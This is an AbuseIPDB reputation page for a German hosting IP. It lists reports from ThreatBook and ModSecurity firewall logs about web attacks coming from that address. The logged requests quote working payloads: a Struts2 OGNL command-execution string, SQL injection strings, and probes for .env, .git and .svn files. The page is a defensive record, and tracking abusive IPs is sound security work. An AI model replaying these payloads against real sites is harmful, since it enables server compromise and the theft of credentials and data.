JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 216.26.244.43

216.26.244.43 was found in our database!

This IP was reported 20 times. Confidence of Abuse is 1%: ?

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇩🇪 Germany
City	Berlin, State of Berlin

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 216.26.244.43

Whois 216.26.244.43

IP Abuse Reports for 216.26.244.43:

This IP address has been reported a total of 20 times from 6 distinct sources. 216.26.244.43 was first reported on October 16th 2025, and the most recent report was 3 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 3 weeks ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2026-05-11 22:51:48 (3 weeks ago)	ThreatBook Intelligence: vpn_proxy,Spam more details on https://threatbook.io/ip/216.26.244.43 2026- ... show more ThreatBook Intelligence: vpn_proxy,Spam more details on https://threatbook.io/ip/216.26.244.43 2026-05-11 18:28:40 /swagger/v1/swagger.json 2026-05-11 18:28:41 /swagger/docs/v1 2026-05-11 18:28:41 /api/swagger.json 2026-05-11 18:28:42 /v3/api-docs 2026-05-11 18:28:38 /prod-api/v2/api-docs 2026-05-11 18:28:39 /v2/api-docs show less	Web App Attack
🇨🇳 ThreatBook.io	2026-05-10 22:51:46 (3 weeks ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-05 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-05-10 16:49:36 /druid/index.html show less	Web App Attack
🇨🇳 ThreatBook.io	2026-05-09 22:52:01 (3 weeks ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-05 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-05-09 15:45:30 /?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netstat%20-an%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 2026-05-09 15:45:28 / 2026-05-09 17:28:03 /general/login_code.php show less	Web App Attack
🇨🇳 ThreatBook.io	2026-05-07 22:50:29 (4 weeks ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-05 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-05-07 04:22:26 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%201%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 2026-05-07 04:22:26 /index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(SELECT(CASE%20WHEN%200%20THEN%20EXP(5000)%20ELSE%200%20END))%20as%20aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-30 22:47:33 (1 month ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04-30 04:30:57 /shop/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-25 22:42:35 (1 month ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04-25 17:56:23 / show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-19 22:56:12 (1 month ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04-19 08:46:15 /special/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-16 22:40:03 (1 month ago)	ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04 ... show more ThreatBook Intelligence: Spam,Gateway more details on https://threatbook.io/ip/216.26.244.43 2026-04-16 09:24:14 /api/swagger.json 2026-04-16 09:24:12 /swagger/v1/swagger.json 2026-04-16 09:24:11 /prod-api/v2/api-docs 2026-04-16 09:24:12 /v2/api-docs 2026-04-16 09:24:13 /swagger/docs/v1 2026-04-16 09:24:15 /v3/api-docs show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-09 22:44:39 (1 month ago)	ThreatBook Intelligence: Spam more details on http://threatbook.io/ip/216.26.244.43 2026-04-09 06:40 ... show more ThreatBook Intelligence: Spam more details on http://threatbook.io/ip/216.26.244.43 2026-04-09 06:40:46 /shop/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2025-12-27 22:45:57 (5 months ago)	2025-12-27 11:57:12 /.git/ 2025-12-27 11:57:13 /index.html 2025-12-27 11:57:15 / 2025-12-27 11:54:05 ... show more 2025-12-27 11:57:12 /.git/ 2025-12-27 11:57:13 /index.html 2025-12-27 11:57:15 / 2025-12-27 11:54:05 /dokuwiki 2025-12-27 11:52:09 /bitweaver 2025-12-27 11:43:01 /secrets.json show less	Web App Attack
🇺🇸 TPI-Abuse	2025-11-26 10:12:17 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Nov 26 05:12:10.309777 2025] [security2:error] [pid 2713242:tid 2713242] [client 216.26.244.43:29829] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.15tobefit.com"] [uri "/.svn/wc.db"] [unique_id "aSbSenb4RfORYD-Oa4YlHQAAAAE"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-26 05:01:29 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Wed Nov 26 00:01:24.633311 2025] [security2:error] [pid 4478:tid 4478] [client 216.26.244.43:54623] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.personalizedchristmasnapkins.com"] [uri "/.env"] [unique_id "aSaJpBKLQMo9IzPzJoOwvwAAAAE"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-26 02:50:50 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Nov 25 21:50:43.728734 2025] [security2:error] [pid 21938:tid 21938] [client 216.26.244.43:41291] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "cpcalendars.thewritekellys.com"] [uri "/.git/HEAD"] [unique_id "aSZrAwVs7ttJwtLLkhLGkgAAAAg"] show less	Brute-Force Bad Web Bot Web App Attack
🇩🇪 iNetWorker	2025-11-26 02:13:08 (6 months ago)	trolling for resource vulnerabilities	Web App Attack
🇺🇸 TPI-Abuse	2025-11-26 00:00:40 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 216.26.244.43 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Nov 25 19:00:26.551621 2025] [security2:error] [pid 24346:tid 24346] [client 216.26.244.43:47091] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "webmail.cygnetsilks.com"] [uri "/.env"] [unique_id "aSZDGkpFhj7NUsmNI-U7KwAAAB8"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 20 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 120.230.23.165

🇸🇬 103.187.146.107

🇮🇹 93.92.78.98

🇮🇳 182.79.83.98

🇷🇺 178.212.12.10

🇨🇳 171.114.230.101

🇫🇮 147.185.133.101

🇮🇹 93.92.78.48

🇨🇳 59.53.133.83

🇬🇧 35.203.210.11

🇺🇸 216.244.66.195

🇮🇳 182.70.243.207

🇨🇳 123.158.54.232

🇻🇳 103.98.149.56

🇷🇴 86.107.235.218

🇷🇴 80.94.92.168

🇺🇸 66.132.186.214

🇨🇦 64.29.18.69

🇹🇷 188.132.199.206

🇺🇸 172.190.220.228